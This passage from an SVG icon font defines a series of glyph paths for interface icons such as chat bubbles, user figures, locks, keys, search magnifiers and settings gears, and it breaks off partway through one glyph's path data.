<glyph unicode="&#xe06e;" d="M 476-10.26 C 476-30.166 487.387-47.407 504-55.841 L 504-62.813 C 499.351-63.45 494.606-63.786 489.781-63.786 C 460.028-63.786 433.192-51.305 414.215-31.296 C 402.743-34.351 390.589-36 378-36 C 308.412-36 252,14.144 252,76 C 252,137.856 308.412,188 378,188 C 447.588,188 504,137.856 504,76 C 504,51.785 495.353,29.366 480.657,11.046 C 477.671,4.561 476-2.653 476-10.26 ZM 100.922,287.231 C 71.953,263.695 56,233.426 56,202 C 56,184.37 60.895,167.272 70.548,151.184 C 80.502,134.594 95.477,119.428 113.855,107.324 C 127.136,98.578 136.071,84.597 138.432,68.87 C 139.22,63.627 139.713,58.332 139.906,53.066 C 143.174,55.776 146.359,58.686 149.479,61.806 C 160.046,72.372 174.32,78.208 189.073,78.208 C 191.422,78.208 193.782,78.061 196.142,77.76 C 205.306,76.595 214.667,76.003 223.964,76.001 L 223.964,20.001 C 212.096,20.002 200.447,20.761 189.077,22.207 C 140.962-25.909 83.53-34.537 28-35.804 L 28-24.028 C 57.984-9.338 84,17.421 84,48 C 84,52.267 83.668,56.457 83.053,60.555 C 32.393,93.92 0,144.884 0,202 C 0,302.516 100.288,384 224,384 C 345.825,384 444.934,304.981 447.928,206.585 C 429.949,214.598 410.373,219.457 390.064,220.838 C 385.019,245.368 370.2,268.445 347.078,287.231 C 331.625,299.787 313.428,309.714 292.991,316.738 C 271.245,324.21 248.034,328 224,328 C 199.967,328 176.755,324.21 155.009,316.738 C 134.572,309.714 116.375,299.787 100.922,287.231 Z" horiz-adv-x="504"  />
<glyph unicode="&#xe06f;" d="M 210,328 C 187.834,328 166.433,324.522 146.394,317.663 C 127.614,311.234 110.906,302.16 96.736,290.693 C 70.467,269.435 56,242.217 56,214.054 C 56,198.308 60.404,183.014 69.090,168.599 C 78.14,153.575 91.795,139.814 108.579,128.805 C 121.896,120.068 130.863,106.076 133.237,90.326 C 133.632,87.706 133.95,85.074 134.191,82.437 C 135.382,83.54 136.564,84.675 137.741,85.847 C 148.301,96.365 162.542,102.171 177.257,102.171 C 179.596,102.171 181.946,102.024 184.298,101.726 C 192.768,100.653 201.414,100.109 210,100.109 C 232.166,100.109 253.566,103.586 273.606,110.446 C 292.386,116.874 309.094,125.949 323.264,137.415 C 349.534,158.673 364,185.891 364,214.054 C 364,242.217 349.534,269.434 323.264,290.693 C 309.094,302.16 292.386,311.234 273.606,317.663 C 253.566,324.522 232.166,328 210,328 Z M 210,384 L 210,384 C 325.98,384 420,307.913 420,214.054 C 420,120.195 325.98,44.108 210,44.108 C 198.862,44.108 187.93,44.817 177.26,46.169 C 132.151,1.24 80.060-6.816 28-8 L 28,2.996 C 56.11,16.714 78.75,41.7 78.75,70.255 C 78.75,74.239 78.439,78.151 77.862,81.977 C 30.368,113.133 0,160.722 0,214.054 C 0,307.913 94.020,384 210,384 ZM 435.75,3.075 C 435.75-21.4 451.637-42.818 476-54.575 L 476-64 C 430.882-62.986 389.469-56.080 350.375-17.57 C 341.127-18.729 331.653-19.337 322-19.337 C 280.232-19.337 241.759-8.068 211.044,10.868 C 274.339,11.089 334.095,31.366 379.409,68.037 C 402.25,86.522 420.269,108.211 432.965,132.501 C 446.425,158.255 453.25,185.694 453.25,214.054 C 453.25,218.625 453.053,223.17 452.7,227.69 C 484.449,201.469 504,165.73 504,126.332 C 504,80.618 477.681,39.828 436.52,13.123 C 436.020,9.843 435.75,6.49 435.75,3.075 Z" horiz-adv-x="504"  />
<glyph unicode="&#xe070;" d="M 272.486,76.553c-9.673,1.539-9.894,28.137-9.894,28.137s 28.424,28.138, 34.618,65.976
	c 16.664,0, 26.958,40.226, 10.291,54.38C 308.198,239.944, 328.922,342, 224,342c-104.922,0-84.197-102.056-83.503-116.954
	c-16.666-14.153-6.374-54.38, 10.291-54.38c 6.194-37.838, 34.618-65.976, 34.618-65.976s-0.221-26.598-9.894-28.137
	C 144.354,71.595, 28,20.276, 28-36l 196,0 l 196,0 C 420,20.276, 303.646,71.595, 272.486,76.553z"  />
<glyph unicode="&#xe071;" d="M 321.56,31.649c-8.292,1.307-8.48,23.911-8.48,23.911s 24.364,23.912, 29.673,56.066
	c 14.285,0, 23.106,34.185, 8.822,46.212c 0.596,12.661, 18.361,99.389-71.574,99.389c-89.934,0-72.169-86.728-71.574-99.389
	c-14.286-12.027-5.463-46.212, 8.821-46.212c 5.309-32.154, 29.674-56.066, 29.674-56.066s-0.189-22.604-8.48-23.911
	C 211.732,27.435, 112-16.177, 112-64l 168,0 l 168,0 C 448-16.177, 348.268,27.435, 321.56,31.649zM 150.524,24.021c 19.291,11.878, 42.711,22.885, 61.923,29.498c-6.892,9.814-14.566,23.16-19.394,38.965
	c-6.74,5.498-12.226,13.358-15.749,23.013c-3.529,9.671-4.866,20.498-3.766,30.487c 0.789,7.171, 2.834,13.854, 5.972,19.726
	c-1.903,20.381-3.244,60.39, 22.946,89.57c 10.156,11.316, 22.993,19.451, 38.369,24.363C 238.079,307.975, 223.691,341.229, 168,341.229
	c-89.934,0-72.169-86.728-71.574-99.389c-14.286-12.027-5.463-46.212, 8.821-46.212c 5.309-32.154, 29.674-56.066, 29.674-56.066
	s-0.189-22.604-8.48-23.911C 99.732,111.435,0,67.823,0,20l 144.198,0 C 146.259,21.345, 148.357,22.686, 150.524,24.021z"  />
<glyph unicode="&#xe072;" d="M 371-64L 77-64 c-11.598,0-21,9.402-21,21c0,30.127, 12.717,66.589, 34.019,97.537c 17.803,25.864, 39.674,45.334, 63.297,56.704
		c-10.412,9.469-19.379,21.011-26.472,34.178c-11.375,21.115-17.389,45.521-17.389,70.581c0,34.828, 11.464,67.735, 32.281,92.658
		C 163.464,334.673, 192.679,349, 224,349s 60.536-14.327, 82.265-40.342c 20.816-24.924, 32.281-57.83, 32.281-92.658
		c0-25.060-6.013-49.466-17.388-70.581c-7.094-13.167-16.061-24.709-26.473-34.178c 23.622-11.371, 45.494-30.84, 63.297-56.704
		C 379.283,23.589, 392-12.873, 392-43C 392-54.598, 382.598-64, 371-64z M 100.657-22l 246.685,0 
		c-4.036,17.211-12.477,36.043-23.958,52.723c-18.136,26.349-40.764,43.585-63.717,48.53c-9.671,2.084-16.576,10.636-16.576,20.529
		l0,15.003 c0,7.551, 4.054,14.521, 10.618,18.253c 26.022,14.802, 42.837,47.366, 42.837,82.961c0,50.178-32.543,91-72.545,91
		c-40.002,0-72.545-40.822-72.545-91c0-35.595, 16.815-68.159, 42.837-82.961c 6.563-3.734, 10.617-10.702, 10.617-18.253l0-15.003 
		c0-9.894-6.905-18.445-16.576-20.529c-22.952-4.946-45.581-22.181-63.717-48.53C 113.134,14.043, 104.695-4.789, 100.657-22z"  />
<glyph unicode="&#xe073;" d="M 427-64L 133-64 c-11.598,0-21,9.402-21,21c0,30.127, 12.717,66.589, 34.019,97.537c 17.803,25.864, 39.674,45.334, 63.297,56.704
		c-10.412,9.469-19.379,21.011-26.472,34.178c-11.375,21.115-17.389,45.521-17.389,70.581c0,34.828, 11.464,67.735, 32.281,92.658
		C 219.464,334.673, 248.679,349, 280,349s 60.536-14.327, 82.265-40.342c 20.816-24.924, 32.281-57.83, 32.281-92.658
		c0-25.060-6.013-49.466-17.388-70.581c-7.094-13.167-16.061-24.709-26.473-34.178c 23.622-11.371, 45.494-30.84, 63.297-56.704
		C 435.283,23.589, 448-12.873, 448-43C 448-54.598, 438.598-64, 427-64z M 156.657-22l 246.685,0 
		c-4.036,17.211-12.477,36.043-23.958,52.723c-18.136,26.349-40.764,43.585-63.717,48.53c-9.671,2.084-16.576,10.636-16.576,20.529
		l0,15.003 c0,7.551, 4.054,14.521, 10.618,18.253c 26.022,14.802, 42.837,47.366, 42.837,82.961c0,50.178-32.543,91-72.545,91
		s-72.545-40.822-72.545-91c0-35.595, 16.815-68.159, 42.837-82.961c 6.563-3.734, 10.617-10.702, 10.617-18.253l0-15.003 
		c0-9.894-6.905-18.445-16.576-20.529c-22.952-4.946-45.581-22.181-63.717-48.53C 169.134,14.043, 160.695-4.789, 156.657-22zM 86.237,6l-41.58,0 c 4.037,17.211, 12.477,36.043, 23.957,52.723c 18.137,26.349, 40.765,43.585, 63.717,48.53
		c 9.671,2.084, 16.576,10.636, 16.576,20.529l0,15.003 c0,7.551-4.054,14.521-10.617,18.253c-26.022,14.802-42.837,47.366-42.837,82.961
		c0,50.178, 32.543,91, 72.545,91c 2.736,0, 5.436-0.198, 8.095-0.57c 11.532,12.834, 24.602,23.264, 38.781,31.064
		C 200.353,373.034, 184.468,377, 168,377c-31.321,0-60.536-14.327-82.265-40.342C 64.919,311.735, 53.455,278.828, 53.455,244
		c0-25.060, 6.013-49.466, 17.389-70.581c 7.094-13.167, 16.061-24.708, 26.472-34.178c-23.622-11.371-45.494-30.84-63.297-56.704
		C 12.717,51.589,0,15.127,0-15c0-11.598, 9.402-21, 21-21l 57.919,0 C 79.565-22.426, 82.068-8.257, 86.237,6z"  />
<glyph unicode="&#xe074;" d="M 112,244A112,112 12780 1 0 336,244A112,112 12780 1 0 112,244zM 336,104L 112,104 C 50.145,104,0,53.855,0-8l0-28 l 3.529,0 l 440.942,0 L 448-36 l0,28 C 448,53.855, 397.856,104, 336,104z"  />
<glyph unicode="&#xe075;" d="M 140,300A84,84 10980 1 0 308,300A84,84 10980 1 0 140,300zM 336.034,188l-0.068,0 l-15.43,0 l-87.108-176.857L 266,174l-42,42l-42-42l 32.572-162.857L 127.465,188l-15.431,0 l-0.067,0 
		C 56,188, 56,150.381, 56,104l0-140 l 336,0 L 392,104 C 392,150.381, 392,188, 336.034,188z"  />
<glyph unicode="&#xe076;" d="M 98.438,188 C 152.561,188 196.438,144.123 196.438,90 C 196.438,35.876 152.561-8 98.438-8 C 44.313-8 0.438,35.876 0.438,90 L 0,104 C 0,212.248 87.752,300 196,300 L 196,244 C 158.605,244 123.448,229.437 97.005,202.995 C 91.915,197.904 87.27,192.488 83.079,186.799 C 88.084,187.586 93.212,188 98.438,188 ZM 350.438,188 C 404.561,188 448.438,144.123 448.438,90 C 448.438,35.876 404.561-8 350.438-8 C 296.314-8 252.438,35.876 252.438,90 L 252,104 C 252,212.248 339.752,300 448,300 L 448,244 C 410.605,244 375.448,229.437 349.005,202.995 C 343.914,197.904 339.269,192.488 335.079,186.799 C 340.084,187.586 345.211,188 350.438,188 Z"  />
<glyph unicode="&#xe077;" d="M 318.934,160C 379.201,198.209, 420,271.654, 420,356c0,9.483-0.521,18.827-1.522,28L 29.523,384 C 28.521,374.826, 28,365.482, 28,356
		c0-84.347, 40.799-157.791, 101.065-196C 68.799,121.791, 28,48.346, 28-36c0-9.483, 0.521-18.827, 1.522-28l 388.956,0 
		c 1.001,9.173, 1.522,18.517, 1.522,28C 420,48.346, 379.201,121.791, 318.934,160z M 70-36c0,81.774, 35.071,151.119, 98,173.997
		l0,44.006 l0,0 C 105.071,204.881, 70,274.225, 70,356l0,0 l 308,0 l0,0 c0-81.775-35.071-151.119-98-173.996l0-44.006 
		C 342.929,115.119, 378,45.774, 378-36L 70-36 zM 271.086,91.053c-31.349,17.782-33.079,40.849-33.086,54.848L 238,174 c0,13.997, 1.664,37.15, 33.138,54.978
		c 16.845,9.784, 31.416,24.652, 42.459,43.022L 134.404,272 c 11.054-18.389, 25.643-33.268, 42.51-43.053
		c 31.349-17.782, 33.078-40.848, 33.086-54.848L 210.001,146 c0-13.997-1.664-37.15-33.138-54.978c-31.772-18.454-55.448-54.987-62.602-99.022
		l 219.481,0 C 326.582,36.060, 302.885,72.609, 271.086,91.053z"  />
<glyph unicode="&#xe078;" d="M 168,328A56,56 12780 1 0 280,328A56,56 12780 1 0 168,328zM 286.794,278.794A56,56 12780 1 0 398.794,278.794A56,56 12780 1 0 286.794,278.794zM 364,160A28,28 12780 1 0 420,160A28,28 12780 1 0 364,160zM 314.794,41.206A28,28 12780 1 0 370.794,41.20600000000002A28,28 12780 1 0 314.794,41.20600000000002zM 196.001-8A28,28 12780 1 0 252.001-8A28,28 12780 1 0 196.001-8zM 77.207,41.206A28,28 12780 1 0 133.207,41.20600000000002A28,28 12780 1 0 77.207,41.20600000000002zM 63.207,278.794A42,42 12780 1 0 147.207,278.794A42,42 12780 1 0 63.207,278.794zM 24.5,160A31.5,31.5 12780 1 0 87.5,160A31.5,31.5 12780 1 0 24.5,160z"  />
<glyph unicode="&#xe079;" d="M 448,160c-0.559,29.252-6.905,58.413-18.627,85.077c-11.683,26.688-28.64,50.863-49.456,70.84
	c-20.804,19.992-45.476,35.796-72.181,46.223C 281.047,372.607, 252.351,377.606, 224,377c-28.354-0.561-56.583-6.726-82.396-18.093
	c-25.834-11.329-49.237-27.768-68.571-47.939c-19.348-20.161-34.633-44.060-44.706-69.912C 18.214,215.216, 13.395,187.453, 14,160
	c 0.563-27.457, 6.547-54.752, 17.559-79.715c 10.976-24.981, 26.896-47.612, 46.423-66.302c 19.517-18.705, 42.644-33.471, 67.644-43.19
	C 170.614-38.965, 197.445-43.602, 224-43c 26.56,0.564, 52.921,6.367, 77.033,17.025c 24.128,10.623, 45.988,26.022, 64.035,44.907
	c 18.061,18.874, 32.307,41.228, 41.674,65.376c 5.702,14.638, 9.572,29.925, 11.612,45.412c 0.545-0.032, 1.093-0.052, 1.646-0.052
	c 15.464,0, 28,12.535, 28,28c0,0.786-0.041,1.563-0.104,2.333L 448,159.999 z M 403.509,85.648c-10.269-23.276-25.149-44.363-43.39-61.766
	c-18.231-17.417-39.813-31.144-63.107-40.158C 273.724-25.323, 248.76-29.599, 224-29c-24.764,0.568-49.261,6.010-71.671,15.957
	c-22.422,9.916-42.737,24.277-59.497,41.874c-16.773,17.587-29.981,38.397-38.641,60.838C 45.497,112.106, 41.403,136.138, 42,160
	c 0.57,23.866, 5.831,47.43, 15.424,68.989c 9.563,21.569, 23.405,41.112, 40.358,57.229c 16.944,16.13, 36.982,28.818, 58.57,37.124
	C 177.936,331.682, 201.036,335.596, 224,335c 22.969-0.571, 45.6-5.652, 66.308-14.89c 20.716-9.209, 39.487-22.532, 54.96-38.842
	c 15.486-16.3, 27.654-35.566, 35.608-56.301C 388.861,204.233, 392.594,182.067, 392,160l 0.104,0 c-0.063-0.77-0.104-1.547-0.104-2.333
	c0-14.443, 10.934-26.326, 24.975-27.835C 414.252,114.597, 409.743,99.724, 403.509,85.648z"  />
<glyph unicode="&#xe07a;" d="M 84,160c0,5.329, 0.308,10.586, 0.888,15.76l-80.929,26.296C 1.371,188.431,0,174.377,0,160
			c0-64.413, 27.198-122.466, 70.724-163.329l 49.999,68.817C 97.919,90.393, 84,123.569, 84,160zM 364,160c0-36.43-13.918-69.607-36.723-94.512l 49.999-68.817C 420.802,37.534, 448,95.587, 448,160
			c0,14.377-1.37,28.431-3.958,42.055l-80.929-26.296C 363.692,170.585, 364,165.329, 364,160zM 252,297.197c 40.221-8.165, 74.175-33.575, 93.822-68.174l 80.928,26.295C 394.726,323.314, 329.52,372.594, 252,382.26L 252,297.197 zM 102.178,229.023c 19.646,34.599, 53.601,60.009, 93.822,68.174L 196,382.26 C 118.48,372.594, 53.274,323.314, 21.251,255.318
			L 102.178,229.023zM 281.993,32.544C 264.323,24.49, 244.687,20, 224,20s-40.323,4.49-57.992,12.543l-50.003-68.823
			C 148.032-53.94, 184.839-64, 224-64s 75.968,10.060, 107.996,27.72L 281.993,32.544z"  />
<glyph unicode="&#xe07b;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224,272
	c 61.855,0, 112-50.145, 112-112s-50.145-112-112-112s-112,50.145-112,112S 162.144,272, 224,272z M 357.643,26.357
	C 321.946-9.34, 274.483-29, 224-29c-50.484,0-97.946,19.66-133.643,55.357C 54.66,62.054, 35,109.516, 35,160
	c0,50.483, 19.66,97.946, 55.357,133.643l 29.698-29.698c0,0,0,0,0,0c-57.315-57.315-57.315-150.574,0-207.889
	C 147.82,28.291, 184.734,13, 224,13c 39.265,0, 76.179,15.291, 103.945,43.055c 57.315,57.315, 57.315,150.573,0,207.889l 29.698,29.698
	C 393.34,257.946, 413,210.483, 413,160C 413,109.516, 393.34,62.054, 357.643,26.357z"  />
<glyph unicode="&#xe07c;" d="M 224,384 C 102.048,384 2.862,286.542 0.067,165.261 C 2.656,271.077 83.118,356 182,356 C 282.516,356 364,268.248 364,160 C 364,136.804 382.804,118 406,118 C 429.196,118 448,136.804 448,160 C 448,283.712 347.712,384 224,384 ZM 224-64 C 345.952-64 445.138,33.458 447.933,154.739 C 445.344,48.923 364.882-36 266-36 C 165.484-36 84,51.752 84,160 C 84,183.196 65.196,202 42,202 C 18.804,202 0,183.196 0,160 C 0,36.288 100.288-64 224-64 Z"  />
<glyph unicode="&#xe07d;" d="M 448,216 L 280,216 L 342.794,278.794 C 311.063,310.525 268.874,328 224,328 C 179.126,328 136.938,310.525 105.206,278.794 C 73.475,247.062 56,204.874 56,160 C 56,115.126 73.475,72.937 105.206,41.206 C 136.938,9.476 179.126-8 224-8 C 268.874-8 311.063,9.476 342.793,41.207 C 345.443,43.855 347.982,46.584 350.43,49.374 L 392.57,12.5 C 351.513-34.385 291.217-64 224-64 C 100.288-64 0,36.288 0,160 C 0,283.712 100.288,384 224,384 C 285.856,384 341.849,358.92 382.382,318.382 L 448,384 L 448,216 Z"  />
<glyph unicode="&#xe07e;" d="M 28,384L 196,384L 196,356L 28,356zM 252,384L 420,384L 420,356L 252,356zM 416.5,244l-24.5,0 L 392,356 L 280,356 l0-112 L 168,244 L 168,356 L 56,356 l0-112 L 31.5,244 c-17.325,0-31.5-14.175-31.5-31.5l0-245 c0-17.325, 14.175-31.5, 31.5-31.5l 133,0 c 17.325,0, 31.5,14.175, 31.5,31.5L 196,132 l 56,0 
	l0-164.5 c0-17.325, 14.175-31.5, 31.5-31.5l 133,0 c 17.325,0, 31.5,14.175, 31.5,31.5L 448,212.5 C 448,229.825, 433.825,244, 416.5,244z M 152.25-36L 43.75-36 c-8.662,0-15.75,6.3-15.75,14
	s 7.087,14, 15.75,14l 108.5,0 c 8.662,0, 15.75-6.3, 15.75-14S 160.912-36, 152.25-36z M 238,160l-28,0 c-7.7,0-14,6.3-14,14s 6.3,14, 14,14l 28,0 c 7.7,0, 14-6.3, 14-14
	S 245.7,160, 238,160z M 404.25-36L 295.75-36 c-8.662,0-15.75,6.3-15.75,14s 7.087,14, 15.75,14l 108.5,0 c 8.662,0, 15.75-6.3, 15.75-14S 412.912-36, 404.25-36z"  />
<glyph unicode="&#xe07f;" d="M 434.115,2.764L 327.998,93.018c-10.97,9.873-22.702,14.405-32.179,13.968C 320.869,136.328, 336,174.395, 336,216
	C 336,308.784, 260.784,384, 168,384C 75.217,384,0,308.784,0,216c0-92.784, 75.216-168, 168-168c 41.605,0, 79.672,15.131, 109.014,40.182
	c-0.438-9.477, 4.095-21.209, 13.968-32.179l 90.254-106.117c 15.453-17.17, 40.697-18.617, 56.096-3.218S 451.285-12.689, 434.115,2.764z
	 M 168,104c-61.855,0-112,50.145-112,112S 106.145,328, 168,328s 112-50.145, 112-112S 229.856,104, 168,104z"  />
<glyph unicode="&#xe080;" d="M 434.115,2.764L 327.998,93.018c-10.97,9.873-22.702,14.405-32.179,13.968C 320.869,136.328, 336,174.395, 336,216
		C 336,308.784, 260.784,384, 168,384C 75.217,384,0,308.784,0,216c0-92.784, 75.216-168, 168-168c 41.605,0, 79.672,15.131, 109.014,40.182
		c-0.438-9.477, 4.095-21.209, 13.968-32.179l 90.254-106.117c 15.453-17.17, 40.697-18.617, 56.096-3.218S 451.285-12.689, 434.115,2.764
		z M 168,104c-61.855,0-112,50.145-112,112S 106.145,328, 168,328s 112-50.145, 112-112S 229.856,104, 168,104zM 196,300L 140,300L 140,244L 84,244L 84,188L 140,188L 140,132L 196,132L 196,188L 252,188L 252,244L 196,244 	z"  />
<glyph unicode="&#xe081;" d="M 434.115,2.764L 327.998,93.018c-10.97,9.873-22.702,14.405-32.179,13.968C 320.869,136.328, 336,174.395, 336,216
		C 336,308.784, 260.784,384, 168,384C 75.217,384,0,308.784,0,216c0-92.784, 75.216-168, 168-168c 41.605,0, 79.672,15.131, 109.014,40.182
		c-0.438-9.477, 4.095-21.209, 13.968-32.179l 90.254-106.117c 15.453-17.17, 40.697-18.617, 56.096-3.218S 451.285-12.689, 434.115,2.764
		z M 168,104c-61.855,0-112,50.145-112,112S 106.145,328, 168,328s 112-50.145, 112-112S 229.856,104, 168,104zM 84,244L 252,244L 252,188L 84,188z"  />
<glyph unicode="&#xe082;" d="M 448,384 L 448,216 L 387.511,276.489 L 294.761,183.739 L 247.739,230.761 L 340.489,323.511 L 280,384 ZM 107.511,323.511 L 200.261,230.761 L 153.239,183.739 L 60.489,276.489 L 0,216 L 0,384 L 168,384 ZM 387.511,43.511 L 448,104 L 448-64 L 280-64 L 340.489-3.511 L 247.739,89.239 L 294.761,136.261 ZM 200.261,89.239 L 107.511-3.511 L 168-64 L 0-64 L 0,104 L 60.489,43.511 L 153.239,136.261 Z"  />
<glyph unicode="&#xe083;" d="M 28,132 L 196,132 L 196-36 L 135.511,24.489 L 47.136-63.886 L 0.114-16.864 L 88.489,71.511 ZM 359.511,71.511 L 447.886-16.864 L 400.864-63.886 L 312.489,24.489 L 252-36 L 252,132 L 420,132 ZM 420,188 L 252,188 L 252,356 L 312.489,295.511 L 400.864,383.886 L 447.886,336.864 L 359.511,248.489 ZM 135.511,295.511 L 196,356 L 196,188 L 28,188 L 88.489,248.489 L 0.114,336.864 L 47.136,383.886 Z"  />
<glyph unicode="&#xe084;" d="M 448,384 L 448,202 L 378,272 L 294,188 L 252,230 L 336,314 L 266,384 ZM 196,90 L 112,6 L 182-64 L 0-64 L 0,118 L 70,48 L 154,132 Z"  />
<glyph unicode="&#xe085;" d="M 196,132 L 196-50 L 126,20 L 42-64 L 0-22 L 84,62 L 14,132 ZM 448,342 L 364,258 L 434,188 L 252,188 L 252,370 L 322,300 L 406,384 Z"  />
<glyph unicode="&#xe086;" d="M 438.433,246.519l-44.234,44.233c-10.847,10.847-28.599,28.598-39.446,39.447l-44.234,44.233
	c-10.847,10.847-30.167,12.76-42.932,4.251L 146.646,298.055c-12.764-8.51-17.595-26.7-10.735-40.421l 30.838-61.676
	c 0.942-1.884, 2.033-3.892, 3.233-5.976L 14,34L0-64l 84,0 l0,28 l 56,0 l0,56 l 56,0 l0,56l 56,0 l0,31.144 c 2.798-1.668, 5.484-3.157, 7.959-4.394
	l 61.674-30.838c 13.723-6.861, 31.911-2.029, 40.421,10.735l 80.629,120.942C 451.194,216.352, 449.279,235.671, 438.433,246.519z
	 M 65.9,10.101l-19.799,19.799l 136.313,136.312l 19.799-19.799L 65.9,10.101z M 401.196,198.603l-19.8-19.8
	c-5.445-5.444-14.354-5.444-19.799,0L 242.804,297.598c-5.445,5.444-5.445,14.354,0,19.799l 19.8,19.8
	c 5.445,5.444, 14.354,5.444, 19.799,0L 401.196,218.402C 406.641,212.958, 406.641,204.048, 401.196,198.603z"  />
<glyph unicode="&#xe087;" d="M 308,384c-77.319,0-140-62.68-140-140c0-8.761, 0.813-17.332, 2.352-25.648L0,48l0-84 c0-15.464, 12.536-28, 28-28
	l 28,0 l0,28 l 56,0 l0,56 l 56,0 l0,56 l 56,0 l 36.331,36.331C 275.21,106.943, 291.26,104, 308,104c 77.319,0, 140,62.68, 140,140S 385.319,384, 308,384z
	 M 349.945,243.945c-23.196,0-42,18.804-42,42s 18.804,42, 42,42s 42-18.804, 42-42S 373.141,243.945, 349.945,243.945z"  />
<glyph unicode="&#xe088;" d="M 364,188l-28,0 l0,84 C 336,333.855, 285.856,384, 224,384c-61.855,0-112-50.145-112-112l0-84 L 84,188 c-15.4,0-28-12.6-28-28l0-196 
	c0-15.4, 12.6-28, 28-28l 280,0 c 15.4,0, 28,12.6, 28,28L 392,160 C 392,175.4, 379.4,188, 364,188z M 224,20c-15.464,0-28,12.536-28,28
	s 12.536,28, 28,28s 28-12.536, 28-28S 239.464,20, 224,20z M 280,188L 168,188 l0,84 c0,30.879, 25.121,56, 56,56s 56-25.121, 56-56L 280,188 z"  />
<glyph unicode="&#xe089;" d="M 259,188l-7,0 l0,84 c0,46.318-37.682,84-84,84l-56,0 c-46.318,0-84-37.682-84-84l0-84 l-7,0 c-11.55,0-21-9.45-21-21l0-210 
	c0-11.55, 9.45-21, 21-21l 238,0 c 11.55,0, 21,9.45, 21,21L 280,167 C 280,178.55, 270.55,188, 259,188z M 168-8l-56,0 l 12.18,60.9
	C 116.826,57.945, 112,66.407, 112,76c0,15.464, 12.536,28, 28,28c 15.464,0, 28-12.536, 28-28c0-9.593-4.827-18.055-12.18-23.1L 168-8
	z M 196,188L 84,188 l0,84 c0,15.439, 12.561,28, 28,28l 56,0 c 15.439,0, 28-12.561, 28-28L 196,188 z"  />
<glyph unicode="&#xe08a;" d="M 336,356l-56,0 c-46.318,0-84-37.682-84-84l0-84 L 21,188 c-11.55,0-21-9.45-21-21l0-210 c0-11.55, 9.45-21, 21-21l 238,0 c 11.55,0, 21,9.45, 21,21L 280,167 
	c0,11.55-9.45,21-21,21l-7,0 l0,84 c0,15.439, 12.561,28, 28,28l 56,0 c 15.439,0, 28-12.561, 28-28l0-84 l 56,0 l0,84 C 420,318.318, 382.318,356, 336,356z
	 M 168-8l-56,0 l 12.18,60.9C 116.826,57.945, 112,66.407, 112,76c0,15.464, 12.536,28, 28,28c 15.464,0, 28-12.536, 28-28
	c0-9.593-4.827-18.055-12.18-23.1L 168-8z"  />
<glyph unicode="&#xe08b;" d="M 438.784,26.179l-201.492,172.707C 246.676,216.517, 252,236.635, 252,258C 252,327.588, 195.588,384, 126,384
	c-12.729,0-25.013-1.895-36.595-5.405l 72.796-72.796c 10.889-10.889, 10.889-28.709,0-39.598l-44.402-44.402
	c-10.889-10.889-28.709-10.889-39.598,0L 5.405,294.595C 1.895,283.013,0,270.729,0,258c0-69.588, 56.412-126, 126-126
	c 21.365,0, 41.483,5.324, 59.113,14.709l 172.707-201.492c 10.022-11.692, 27.132-12.349, 38.020-1.46l 44.403,44.403
	C 451.133-0.952, 450.475,16.157, 438.784,26.179z"  />
<glyph unicode="&#xe08c;" d="M 196,328l0,7 c0,11.55-9.45,21-21,21l-70,0 c-11.55,0-21-9.45-21-21l0-7 L0,328 l0-56 l 84,0 l0-7 c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,7 
		l 252,0 L 448,328 L 196,328 z M 112,272L 112,328 l 56,0 l0-56 L 112,272 zM 364,195c0,11.55-9.45,21-21,21l-70,0 c-11.55,0-21-9.45-21-21l0-7 L0,188 l0-56 l 252,0 l0-7 c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,7 
		l 84,0 l0,56 l-84,0 L 364,195 z M 280,132l0,56 l 56,0 l0-56 L 280,132 zM 196,55c0,11.55-9.45,21-21,21l-70,0 c-11.55,0-21-9.45-21-21l0-7 L0,48 l0-56 l 84,0 l0-7 c0-11.55, 9.45-21, 21-21l 70,0 c 11.55,0, 21,9.45, 21,21l0,7 
		l 252,0 l0,56 L 196,48 L 196,55 z M 112-8l0,56 l 56,0 l0-56 L 112-8 z"  />
<glyph unicode="&#xe08d;" d="M 392,188l 7,0 c 11.55,0 21,9.45 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 L 392,384 l-56,0 l 0-84 l-7,0 c-11.55,0, -21-9.45, -21-21l 0-70 c 0-11.55, 9.45-21, 21-21l 7,0 
		l 0-252 L 392-64 L 392,188 z M 336,272L 392,272 l 0-56 l-56,0 L 336,272 zM 259,20c 11.55,0 21,9.45 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 L 252,384 l-56,0 l 0-252 l-7,0 c-11.55,0, -21-9.45, -21-21l 0-70 c 0-11.55, 9.45-21, 21-21l 7,0 
		l 0-84 l 56,0 l0,84 L 259,20 z M 196,104l 56,0 l 0-56 l-56,0 L 196,104 zM 119,188c 11.55,0 21,9.45 21,21l0,70 c0,11.55-9.45,21-21,21l-7,0 L 112,384 l-56,0 l 0-84 l-7,0 c-11.55,0, -21-9.45, -21-21l 0-70 c 0-11.55, 9.45-21, 21-21l 7,0 
		l 0-252 l 56,0 L 112,188 L 119,188 z M 56,272l 56,0 l 0-56 l-56,0 L 56,272 z"  />
<glyph unicode="&#xe08e;" d="M 408.533,117.016c-23.505,40.711-9.37,92.883, 31.567,116.588l-44.024,76.253c-12.578-7.374-27.202-11.602-42.808-11.602
	c-47.047,0-85.185,38.389-85.185,85.746L 180.033,384.001 c 0.116-14.617-3.532-29.436-11.357-42.985
	c-23.504-40.712-75.756-54.557-116.752-30.957L 7.901,233.806c 12.674-7.207, 23.647-17.757, 31.45-31.272
	c 23.467-40.647, 9.412-92.715-31.372-116.473l 44.024-76.253c 12.534,7.305, 27.088,11.486, 42.613,11.486
	c 46.898,0, 84.938-38.146, 85.181-85.294l 88.049,0 c-0.038,14.47, 3.619,29.124, 11.36,42.533
	c 23.466,40.646, 75.59,54.51, 116.556,31.068l 44.024,76.252C 427.194,93.057, 416.295,103.571, 408.533,117.016z M 224,69.292
	c-50.097,0-90.71,40.611-90.71,90.709c0,50.097, 40.611,90.709, 90.71,90.709c 50.097,0, 90.708-40.611, 90.708-90.709
	C 314.707,109.903, 274.097,69.292, 224,69.292z"  />
<glyph unicode="&#xe08f;" d="M 159.128,68.102l 18.068,25.294l-19.799,19.8l-25.295-18.067c-4.691,2.622-9.714,4.714-14.991,6.209L 112,132L 84,132 
		l-5.11-30.663c-5.277-1.495-10.3-3.587-14.991-6.209L 38.603,113.196L 18.804,93.397l 18.068-25.294
